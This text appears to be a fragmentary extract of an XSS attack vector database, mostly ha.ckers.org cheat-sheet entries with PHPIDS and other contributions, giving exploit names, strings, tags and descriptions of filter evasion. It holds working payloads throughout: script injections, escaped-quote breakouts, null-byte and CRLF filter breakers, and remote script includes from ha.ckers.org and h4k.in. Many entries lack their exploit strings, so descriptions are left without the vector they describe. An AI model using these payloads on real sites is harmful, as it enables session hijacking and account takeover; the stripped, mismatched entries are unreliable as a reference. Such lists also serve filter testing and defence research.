Exploit Description: This vector utilizes backslashes to exploit a parsing error in gecko based browsers and injects a remote XBL. All important characters are obfuscated by unclosed entities.
Exploit Tags: general, injection, gecko, style injection, XBL, obfuscated
Exploit Description: This vector utilizes backslashes to exploit a parsing error in gecko based browsers and injects a remote XBL. As we can see gecko based browsers accept various characters as valid tags.
Exploit Tags: general, injection, gecko, style injection, XBL, obfuscated
Exploit Description: This vector utilizes backslashes to exploit a parsing error in gecko based browsers and injects a remote XBL. Furthermore unclosed NBSP entities are used to obfuscate the string.
Exploit Tags: general, injection, gecko, style injection, XBL, obfuscated
Exploit Description: This vector utilizes backslashes to exploit a parsing error in gecko based browsers and injects a remote XBL. Between any character of the original payload null bytes are used to obfuscate.
Exploit Tags: general, injection, gecko, style injection, XBL, obfuscated
Exploit Description: Works in IE and Netscape 8.1 in safe mode. You need the // to comment out the next characters so you won't get a JavaScript error and your XSS tag will render. Also, this relies on the fact that the website uses dynamically placed images like ”images/image.jpg” rather than full paths. If the path includes a leading forward slash like ”/images/image.jpg” you can remove one slash from this vector (as long as there are two to begin the comment this will work
Exploit Tags: general, evil tags
Author Name: ha.ckers.org
Basic back ticked attribute breaker
Exploit Name: Basic back ticked attribute breaker
Exploit String: `> <script>alert(5)</script>
Exploit Description: This vector breaks back ticked attributes.
Exploit Description: BODY tag (I like this method because it doesn't require using any variants of ”javascript:” or ”<SCRIPT...” to accomplish the XSS attack)
Exploit Tags: general, evil tags
Author Name: ha.ckers.org
Camouflaged comment injection with JS link
Exploit Name: Camouflaged comment injection with JS link
Exploit String: <!--
<A href="
- --><a href=javascript:alert:document.domain
>test-->
Exploit Description: This vector evades filters by camouflaging as a comment and inhabiting a JS link.
Exploit Tags: general, obfuscated, comment breaking, internet explorer
Author Name: thespanner.co.uk
Case Insensitive
Exploit Name: Case Insensitive
Exploit String: <IMG SRC=JaVaScRiPt:alert('XSS')>
Exploit Description: Case insensitive XSS attack vector.
Exploit Description: All of the possible combinations of the character ”<” in HTML and JavaScript. Most of these won't render, but many of them can get rendered in certain circumstances (standards are great, aren't they?).
Exploit Tags: general, evil tags, obfuscated
Author Name: ha.ckers.org
Closing JS Tag in JS String assignment
Exploit Name: Closing JS Tag in JS String assignment
Exploit String: <script>
var a = "</script> <script> alert('XSS !'); </script> <script>";
</script>
Exploit Description: For some reason, Firefox picks up the script closing tag in the quoted string and then proceeds to process the remaining script tags as code.
Exploit Tags: general, gecko, obfuscated, evil tags
Exploit Description: Downlevel-Hidden block (only works in IE5.0 and later and Netscape 8.1 in IE rendering engine mode). Some websites consider anything inside a comment block to be safe and therefore it does not need to be removed, which allows our XSS vector. Or the system could add comment tags around something to attempt to render it harmless. As we can see, that probably wouldn't do the job.
Exploit Tags: general, obfuscated, conditional comments, internet explorer
Author Name: ha.ckers.org
Comment-breaker using obfuscated JavaScript
Exploit Name: Comment-breaker using obfuscated JavaScript
Exploit Description: This vector uses JavaScript conditional statements to inject an alert into CSS properties - it was once used as a PoC for a vulnerability in Stefan Di Paolos data binding example.
Exploit Tags: general, obfuscated, internet explorer, style injection
Exploit Description: Content replace as an attack vector (assuming ”http://www.google.com/” is programmatically replaced with null). I actually used a similar attack vector against a several separate real world XSS filters by using the conversion filter itself (like http://quickwired.com/kallahar/smallprojects/php_xss_filter_function.php) to help create the attack vector (”java&#x09;script:” was converted into ”java	script:”.
Exploit Description: Cookie manipulation - admittedly this is pretty obscure but I have seen a few examples where <META is allowed and you can user it to overwrite cookies. There are other examples of sites where instead of fetching the username from a database it is stored inside of a cookie to be displayed only to the user who visits the page. With these two scenarios combined you can modify the victim's cookie which will be displayed back to them as JavaScript (you can also use this to log people out or change their user states, get them to log in as you, etc).
Exploit Description: Div background-image plus extra characters. I built a quick XSS fuzzer to detect any erroneous characters that are allowed after the open parenthesis but before the JavaScript directive in IE and Netscape 8.1 in secure site mode. These are in decimal but you can include hex and add padding of course. (Any of the following chars can be used: 1-32, 34, 39, 160, 8192-8203, 12288, 65279)
Exploit Description: Div expression - a variant of this was effective against a real world cross site scripting filter using a newline between the colon and ”expression”
Exploit Tags: general, evil tags, style injection, internet explorer
Exploit Description: DIV background-image with unicoded XSS exploit (this has been modified slightly to obfuscate the url parameter). The original vulnerability was found by Renaud Lifchitz (http://www.sysdream.com) as a vulnerability in Hotmail.
Exploit Description: This is an odd one that Steven Christey brought to my attention. At first I misclassified this as the same XSS vector as above but it's surprisingly different. Using an open angle bracket at the end of the vector instead of a close angle bracket causes different behavior in Netscape Gecko rendering. Without it, Firefox will work but Netscape won't
Exploit Tags: general, evil tags, injection, gecko
Exploit Description: Using an EMBED tag you can embed a Flash movie that contains XSS. If you add the attributes allowScriptAccess=”never” and allownetworking=”internal” it can mitigate this risk (thank you to Jonathan Vanasco for the info). Demo: http://ha.ckers.org/weird/xssflash.html :
Exploit Tags: general, evil tags, obfuscated, injection
Exploit Description: Embedded carriage return to break up XSS (Note: with the above I am making these strings longer than they have to be because the zeros could be omitted. Often I've seen filters that assume the hex and dec encoding has to be two or three characters. The real rule is 1-7 characters).
Exploit Description: Embedded encoded tab to break up XSS. For some reason Opera does not allow the encoded tab, but it does allow the previous tab XSS and encoded newline and carriage returns below.
Exploit Description: Embedded newline to break up XSS. Some websites claim that any of the chars 09-13 (decimal) will work for this attack. That is incorrect. Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work.
Exploit Tags: general, evil tags, obfuscated, internet explorer
Exploit Description: This is a simple XSS vector that closes TITLE tags, which can encapsulate the malicious cross site scripting attack.
Exploit Tags: general, title breaking
Author Name: ha.ckers.org
Escaping JavaScript escapes
Exploit Name: Escaping JavaScript escapes
Exploit String: \";alert('XSS');//
Exploit Description: Escaping JavaScript escapes. When the application is written to output some user information inside of a JavaScript like the following: <SCRIPT>var a=”$ENV{QUERY_STRING}”;</SCRIPT> and you want to inject your own JavaScript into it but the server side application escapes certain quotes you can circumvent that by escaping their escape character. When this is gets injected it will read <SCRIPT>var a=””;alert('XSS');//”;</SCRIPT> which ends up un-escaping the double quote and causing the Cross Site Scripting vector to fire.
Exploit Description: For performing XSS on sites that allow ”<SCRIPT>” but don't allow ”<SCRIPT SRC...” by way of the following regex filter: /<script[^>]+src/i
Exploit Tags: general, evil tags, obfuscated, injection
Exploit Description: For performing XSS on sites that allow ”<SCRIPT>” but don't allow ”<SCRIPT SRC...” by way of a regex filter: /<script((\s+\w+(\s*=\s*(?:”(.)*?”|'(.)*?'|[^'”>\s]+))?)+\s*|\s*)src/i this is an important one, because I've seen this regex in the wild)
Exploit Tags: general, evil tags, obfuscated, injection
The only thing I've seen work against this XSS attack if you still want to allow <SCRIPT> tags but not remote scripts is a state machine (and of course there are other ways to get around this if they allow <SCRIPT> tags)
Exploit Tags: general, evil tags, obfuscated, injection
Exploit Description: And one last XSS attack (using grave accents) to evade this regex: /<script((\s+\w+(\s*=\s*(?:”(.)*?”|'(.)*?'|[^'”>\s]+))?)+\s*|\s*)src/i
Exploit Tags: general, evil tags, obfuscated, injection
Author Name: ha.ckers.org
Eval string contained in name property
Exploit Name: Eval string contained in name property
Exploit String: eval(name)
Exploit Description: This very simple but effective vector uses the eval method on the name property.
Exploit Tags: general, super short, self contained
Exploit Description: (Submitted by Franz Sedlmaier http://www.pilorz.net/). This XSS vector could defeat certain detection engines that work by first using matching pairs of open and close angle brackets and then by doing a comparison of the tag inside, instead of a more efficient algorythm like Boyer-Moore (http://www.cs.utexas.edu/users/moore/best-ideas/string-searching/) that looks for entire string matches of the open angle bracket and associated tag (post de-obfuscation, of course). The double slash comments out the ending extraneous bracket to supress a JavaScript error.
Exploit Description: Here's an XSS example that bets on the fact that the regex won't catch a matching pair of quotes but will rather find any quotes to terminate a parameter string improperly.
Exploit Tags: general, evil tags, obfuscated, injection
Author Name: ha.ckers.org
Firefox Lookups 1
Exploit Name: Firefox Lookups 1
Exploit String: <A HREF="//google">XSS</A>
Exploit Description: Firefox uses Google's ”feeling lucky” function to redirect the user to any keywords you type in. So if your exploitable page is the top for some random keyword (as you see here) you can use that feature against any Firefox user. This uses Firefox's ”keyword:” protocol. You can concatenate several keywords by using something like the following ”keyword:XSS+RSnake”
Exploit Description: This uses a very tiny trick that appears to work Firefox only, because if it's implementation of the ”feeling lucky” function. Unlike the next one this does not work in Opera because Opera believes that this is the old HTTP Basic Auth phishing attack, which it is not. It's simply a malformed URL. If you click okay on the dialogue it will work, but as a result of the erroneous dialogue box I am saying that this is not supported in Opera.
Exploit Tags: general, evil tags, obfuscated, gecko
Exploit Description: This uses a malformed URL that appears to work in Firefox and Opera only, because if their implementation of the ”feeling lucky” function. Like all of the above it requires that you are #1 in Google for the keyword in question (in this case ”google”).
Exploit Tags: general, evil tags, obfuscated, gecko
Exploit Description: Grave accent obfuscation (If you need to use both double and single quotes you can use a grave accent to encapsulate the JavaScript string - this is also useful because lots of cross site scripting filters don't know about grave accents).
Exploit Tags: general, evil tags, obfuscated, internet explorer
Exploit Description: Unlike Firefox, the IE rendering engine doesn't add extra data to your page, but it does allow the ”javascript:” directive in images. This is useful as a vector because it doesn't require a close angle bracket. This assumes that there is at least one HTML tag below where you are injecting this cross site scripting vector. Even though there is no close > tag the tags below it will close it. A note: this does mess up the HTML, depending on what HTML is beneath it. See http://www.blackhat.com/presentations/bh-usa-04/bh-us-04-mookhey/bh-us-04-mookhey-up.ppt for more info. It gets around the following NIDS regex:
/((\%3D)|(=))[^\n]*((\%3C)|<)[^\n]+((\%3E)|>)/
As a side note, this was also effective against a real world XSS filter I came across using an open ended <IFRAME tag instead of an <IMG tag.
Exploit Tags: general, evil tags, internet explorer
Exploit Description: URL string evasion (assuming ”http://www.google.com/” is programmatically disallowed).
The total size of each number allowed is somewhere in the neighborhood of 240 total characters as you can see on the second digit, and since the hex number is between 0 and F the leading zero on the third hex digit is not required.
Exploit Description: Hex encoding without semicolons (this is also a viable XSS attack against the above string $tmp_string = ~ s/.*\&#(\d+);.*/$1/; which assumes that there is a numeric character following the pound symbol - which is not true with hex HTML characters).
Exploit Tags: general, evil tags, obfuscated, internet explorer
Exploit Description: This works when the webpage where this is injected (like a web-board) is behind password protection and that password protection works with other commands on the same domain. This can be used to delete users, add users (if the user who visits the page is an administrator), send credentials elsewhere, etc... This is one of the lesser used but more useful XSS vectors.
Exploit Description: IMG Embedded commands part II - this is more scary because there are absolutely no identifiers that make it look suspicious other than it is not hosted on your own domain. The vector uses a 302 or 304 (others work too) to redirect the image back to a command. So a normal <IMG SRC=”http://badguy.com/a.jpg”> could actually be an attack vector to run commands as the user who views the image link. Here is the .htaccess (under Apache) line to accomplish the vector (thanks to Timo for part of this).
Exploit Description: IMG STYLE with expression (this is really a hybrid of several CSS XSS vectors, but it really does show how hard STYLE tags can be to parse apart, like the other CSS examples this can send IE into a loop).
Exploit Tags: general, evil tags, internet explorer
Exploit Description: This vector concatenates a string and evaluates it via filling the URL property with payload concatenated in a string via ternary operators.
Exploit Tags: general, internet explorer, concatenated, obfuscated
Exploit Description: This vector concatenates a string and evaluates it via filling a variable with payload concatenated in a regular string via ternary operators.
Exploit Tags: general, JSON, concatenated, obfuscated
Author Name: PHPIDS Group
JavaScript Includes
Exploit Name: JavaScript Includes
Exploit String: <BR SIZE="&{alert('XSS')}">
Exploit Description: &JavaScript includes (works in Netscape 4.x).
Exploit Description: This vector injects a new body tag and utilized the onload event to modify the DOM. JSON parenthesis and semicolons are to evade filters.
Exploit Tags: general, evil tags, JSON, obfuscated
Exploit Description: This vector injects a new body tag and utilized the onload event to modify the DOM. Also this vector uses semicolons to obfuscate.
Exploit Tags: general, evil tags, JSON, obfuscated
Exploit Description: Fairly esoteric issue dealing with embedding images for bulleted lists. This will only work in the IE rendering engine because of the JavaScript directive. Not a particularly useful cross site scripting vector.
Exploit Tags: general, evil tags, internet explorer
Exploit Description: This uses an .htc file which must be on the same server as the XSS vector. The example file works by pulling in the JavaScript and running it as part of the style attribute.
Exploit Tags: general, evil tags, internet explorer, injection
Exploit Description: Long UTF-8 Unicode encoding without semicolons (this is often effective in XSS that attempts to look for ”&#XX;”, since most people don't know about padding - up to 7 numeric characters total). This is also useful against people who decode against strings like $tmp_string =~ s/.*\&#(\d+);.*/$1/; which incorrectly assumes a semicolon is required to terminate an html encoded string (I've seen this in the wild).
Exploit Tags: general, evil tags, obfuscated, internet explorer
Exploit Description: Originally found by Begeek (http://www.begeek.it/2006/03/18/esclusivo-vulnerabilita-xss-in-firefox/#more-300 - cleaned up and shortened to work in all browsers), this XSS vector uses the relaxed rendering engine to create our XSS vector within an IMG tag that should be encapsulated within quotes. I assume this was originally meant to correct sloppy coding. This would make it significantly more difficult to correctly parse apart an HTML tag.
Exploit Description: The odd thing about meta refresh is that it doesn't send a referrer in the header - so it can be used for certain types of attacks where you need to get rid of referring URLs.
Exploit Description: Meta with additional URL parameter. If the target website attempts to see if the URL contains an ”http://” you can evade it with the following technique (Submitted by Moritz Naumann http://www.moritz-naumann.com)
Exploit Description: This is nice because it also doesn't have anything visibly that has the word SCRIPT or the JavaScript directive in it, since it utilizes base64 encoding. Please see http://www.ietf.org/rfc/rfc2397.txt for more details
Exploit Description: In Firefox and Netscape 8.1 in the Gecko rendering engine mode you don't actually need the ”></SCRIPT>” portion of this Cross Site Scripting vector. Firefox assumes it's safe to close the HTML tag and add closing tags for you. How thoughtful! Unlike the next one, which doesn't affect Firefox, this does not require any additional HTML below it. You can add quotes if you need to, but they're not needed generally.
Exploit Tags: general, evil tags, injection, gecko
Exploit Description: Non-alpha-non-digit XSS. While I was reading the Firefox HTML parser I found that it assumes a non-alpha-non-digit is not valid after an HTML keyword and therefore considers it to be a whitespace or non-valid token after an HTML tag. The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace. For example ”<SCRIPT\s” != ”<SCRIPT/XSS\s”
Exploit Description: Non-alpha-non-digit XSS part 2. yawnmoth brought my attention to this vector, based on the same idea as above, however, I expanded on it, using my fuzzer. The Gecko rendering engine allows for any character other than letters, numbers or encapsulation chars (like quotes, angle brackets, etc...) between the event handler and the equals sign, making it easier to bypass cross site scripting blocks. Note that this does not apply to the grave accent char as seen here.
Exploit Tags: general, evil tags, obfuscated
Author Name: ha.ckers.org
Noscript-breaker with mouseover
Exploit Name: Noscript-breaker with mouseover
Exploit String: </noscript><br><code onmouseover=a=eval;b=alert;a(b(/h/.source));>MOVE MOUSE OVER THIS AREA</code>
Exploit Description: This vector breaks noscript areas and appends an element reacting on mouseover events.
Exploit Tags: general, html breaking, obfuscated, user interaction
Author Name: kishor
Null Chars 1
Exploit Name: Null Chars 1
Exploit String: perl -e 'print "<IMG SRC=java\0script:alert("XSS")>";'> out
Exploit Description: Okay, I lied, null chars also work as XSS vectors but not like above, you need to inject them directly using something like Burp Proxy (http://www.portswigger.net/proxy/) or use %00 in the URL string or if you want to write your own injection tool you can use Vim (^V^@ will produce a null) to generate it into a text file. Okay, I lied again, older versions of Opera (circa 7.11 on Windows) were vulnerable to one additional char 173 (the soft hyphen control char). But the null char %00 is much more useful and helped me bypass certain real world filters with a variation on this example.
Exploit Tags: general, evil tags, obfuscated, internet explorer, CRLF
Author Name: ha.ckers.org
Null Chars 2
Exploit Name: Null Chars 2
Exploit String: perl -e 'print "&<SCR\0IPT>alert("XSS")</SCR\0IPT>";' > out
Exploit Description: Here is a little known XSS attack vector using null characters. You can actually break up the HTML itself using the same nulls as shown above. I've seen this vector bypass some of the most restrictive XSS filters to date
Exploit Tags: general, evil tags, obfuscated, CRLF
Exploit Description: This vector creates a new body tag including an obfuscated onload attribute. Also the document object is wrapped into a JSON literal to evade filters.
Exploit Tags: general, obfuscated, evil tags, JSON
Exploit Description: This vector creates a new body tag including an obfuscated onload attribute. Also the document object is wrapped into a JSON literal to evade filters.
Exploit Tags: general, obfuscated, evil tags, JSON
Author Name: thespanner.co.uk
Obfuscated XML predicate vector variation 1
Exploit Name: Obfuscated XML predicate vector variation 1
Exploit Description: This vector uses XML predicates to obfuscate its payload and the fact that you can use underscores as XML tags. Also a concatenation via ternary operator is being used.
Exploit Tags: general, xml predicates, obfuscated, gecko
Author Name: PHPIDS Group
Obfuscated XML predicate vector variation 3
Exploit Name: Obfuscated XML predicate vector variation 3
Exploit Description: This vector uses XML predicates to obfuscate its payload. The payload is furthermore wrapped into JSON literals for more obfuscation.
Exploit Tags: general, xml predicates, obfuscated, gecko, JSON
Exploit Description: If they allow objects, you can also inject virus payloads to infect the users, etc. and same with the APPLET tag. The linked file is actually an HTML file that can contain your XSS
Exploit Description: PHP - requires PHP to be installed on the server to use this XSS vector. Again, if you can run any scripts remotely like this, there are probably much more dire issues.
Exploit Tags: general, evil tags, obfuscated
Author Name: ha.ckers.org
Plain JavaScript alert
Exploit Name: Plain JavaScript alert
Exploit String: alert(1)
Exploit Description: This very basic exploit works on surprisingly many pages - no real danger but bad image.
Exploit Description: URL string evasion (assuming ”http://www.google.com/” is programmatically disallowed).
Protocol resolution bypass (// translates to http:// which saves a few more bytes). This is really handy when space is an issue too (two less characters can go a long way) and can easily bypass regex like ”(ht|f)tp(s)?://” (thanks to Ozh (http://planetOzh.com/) for part of this one). You can also change the ”//” to ”\\”. You do need to keep the slashes in place, however, otherwise this will be interpreted as a relative path URL.
Exploit Tags: general, evil tags, obfuscated
Author Name: ha.ckers.org
Protocol resolution in script tags
Exploit Name: Protocol resolution in script tags
Exploit String: <SCRIPT SRC=//ha.ckers.org/.j>
Exploit Description: This particular variant was submitted by Lukasz Pilorz and was based partially off of Ozh's protocol resolution bypass below. This cross site scripting example works in IE, Netscape in IE rendering mode and Opera if you add in a </SCRIPT> tag at the end. However, this is especially useful where space is an issue, and of course, the shorter your domain, the better. The ”.j” is valid, regardless of the MIME type because the browser knows it in context of a SCRIPT tag.
Exploit Tags: general, evil tags, obfuscated, injection
Author Name: ha.ckers.org
RegExp based, and native C filter vector.
Exploit Name: RegExp based, and native C filter vector.
Exploit String: 0%0d%0a%00<script src=//h4k.in>
Exploit Description: This will break any RegExp that includes "$" (end of string), and some filters that do the verification manually with a for waiting for a NULL byte.
Exploit Tags: general, injection, CRLF, obfuscated
Exploit Description: Remote style sheet (using something as simple as a remote style sheet you can include your XSS as the style question redefined using an embedded expression.) This only works in IE and Netscape 8.1+ in IE rendering engine mode. Notice that there is nothing on the page to show that there is included JavaScript. Note: With all of these remote style sheet examples they use the body tag, so it won't work unless there is some content on the page other than the vector itself, so you'll need to add a single letter to the page to make it work if it's an otherwise blank page.
Exploit Tags: general, evil tags, obfuscated, injection
Exploit Description: Remote style sheet part 2 (this works the same as above, but uses a <STYLE> tag instead of a <LINK> tag). A slight variation on this vector was used to hack Google Desktop http://www.hacker.co.il/security/ie/css_import.html. As a side note you can remote the end STYLE tag if there is HTML immediately after the vector to close it. This is useful if you cannot have either an equal sign or a slash in your cross site scripting attack, which has come up at least once in the real world.
Exploit Tags: general, evil tags, obfuscated, style injection
Exploit Description: Remote style sheet part 3. This only works in Opera but is fairly tricky. Setting a link header is not part of the HTTP1.1 spec. However, some browsers still allow it (like Firefox and Opera). The trick here is that I am setting a header (which is basically no different than in the HTTP header saying Link: <http://ha.ckers.org/xss.css>; REL=stylesheet) and the remote style sheet with my cross site scripting vector is running the JavaScript, which is not supported in FireFox.
Exploit Description: Remote style sheet part 4. This only works in Gecko rendering engines and works by binding an XUL file to the parent page. I think the irony here is that Netscape assumes that Gecko is safer and therefore is vulnerable to this for the vast majority of sites.
Exploit Tags: general, evil tags, obfuscated, style injection, XBL
Exploit Description: URL string evasion (assuming ”http://www.google.com/” is programmatically disallowed).
When combined with the above URL, removing ”www.” will save an additional 4 bytes for a total byte savings of 9 for servers that have this set up properly.
Exploit Description: Assuming you can only fit in a few characters and it filters against ”.js” you can rename your JavaScript file to an image as an XSS vector.
Exploit Tags: general, evil tags, obfuscated, injection
Exploit Description: Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word ”XSS” will pop up.
Exploit Tags: general, evil tags, obfuscated, basic
Exploit Description: No filter evasion. This is a normal XSS JavaScript injection, and most likely to get caught but I suggest trying it first (the quotes are not required in any modern browser so they are omitted here).
Exploit Tags: general, evil tags, basic, injection
Exploit Description: This more than sophisticated vector is hard to explain - it' creator did here: http://sla.ckers.org/forum/read.php?2,13209,page=2#msg-13409
Exploit Description: Spaces and meta chars before the JavaScript in images for XSS (this is useful if the pattern match doesn't take into account spaces in the word ”javascript:” - which is correct since that won't render- and makes the false assumption that you can't have a space between the quote and the ”javascript:” keyword. The actual reality is you can have any char from 1-32 in decimal).
Exploit Tags: general, evil tags, obfuscated, internet explorer
Exploit Description: SSI (Server Side Includes) requires SSI to be installed on the server to use this XSS vector. I probably don't need to mention this, but if you can run commands on the server there are no doubt much more serious issues.
Exploit Tags: general, evil tags, obfuscated, SSI, injection
Exploit Description: This vector utilizes the CSS content property and fetches it off the document.styleSheets property afterwards. For correct execution of the payload a double-eval is needed.
Exploit Tags: general, onfuscated, style injection
Exploit Description: Anonymous HTML with STYLE attribute (IE and Netscape 8.1+ in IE rendering engine mode don't really care if the HTML tag you build exists or not, as long as it starts with an open angle bracket and a letter)
Exploit Tags: general, evil tags, obfuscated, internet explorer
Exploit Description: Found by Kurt Huwig http://www.iku-ag.de/ This uses malformed ASCII encoding with 7 bits instead of 8. This XSS may bypass many content filters but only works if the hosts transmits in US-ASCII encoding, or if you set the encoding yourself. This is more useful against web application firewall cross site scripting evasion than it is server side filter evasion. Apache Tomcat is the only known server that transmits in US-ASCII encoding.
Exploit Description: UTF-7 encoding - if the page that the XSS resides on doesn't provide a page charset header, or any browser that is set to UTF-7 encoding can be exploited with the following (Thanks to Roman Ivanov http://www.pixel-apes.com/ for this one). You don't need the charset statement if the user's browser is set to auto-detect and there is no overriding content-types on the page in Internet Explorer and Netscape 8.1 IE rendering engine mode). Watchfire http://seclists.org/lists/fulldisclosure/2005/Dec/1107.html found this hole in Google's custom 404 script.
Exploit Description: UTF-8 Unicode encoding (all of the XSS examples that use a javascript: directive inside of an IMG tag will not work in Firefox or Netscape 8.1+ in the Gecko rendering engine mode).
Exploit Tags: general, evil tags, obfuscated, internet explorer
Author Name: ha.ckers.org
with() executing alert via document.__parent__
Exploit Name: with() executing alert via document.__parent__
Exploit String: with(document.__parent__)alert(1)
Exploit Description: This vector uses the __parent__ property combined with with() to execute an alert.
Exploit Tags: general, super short, obfuscated, gecko, __property__
Exploit Description: XML data island with CDATA obfuscation (this XSS attack works only in IE and Netscape 8.1 IE rendering engine mode) - vector found by Sec Consult http://www.sec-consult.html while auditing Yahoo.
Exploit Tags: general, evil tags, obfuscated, XML injection
Exploit Description: XML data island with comment obfuscation (doesn't use CDATA fields, but rather uses comments to break up the javascript directive)
Exploit Tags: general, evil tags, obfuscated, XML injection
Exploit Description: HTML+TIME in XML. This is how Grey Magic http://www.greymagic.com/security/advisories/gm005-mc/ hacked Hotmail and Yahoo!. This only works in Internet Explorer and Netscape 8.1 in IE rendering engine mode and remember that you need to be between HTML and BODY tags for this to work.
Exploit Tags: general, evil tags, obfuscated, XML injection
Exploit Description: Locally hosted XML with embedded JavaScript that is generated using an XML data island. This is the same as above but instead refers to a locally hosted (must be on the same server) XML file that contains the cross site scripting vector.
Exploit Tags: general, evil tags, obfuscated, XML injection
Author Name: ha.ckers.org
XSS Quick Test
Exploit Name: XSS Quick Test
Exploit String: '';!--"<XSS>=&{()}
Exploit Description: If you don't have much space, this string is a nice compact XSS injection check. View source after injecting it and look for <XSS versus <XSS to see if it is vulnerable.
Exploit Tags: general, html breaking, JS breaking, comment breaking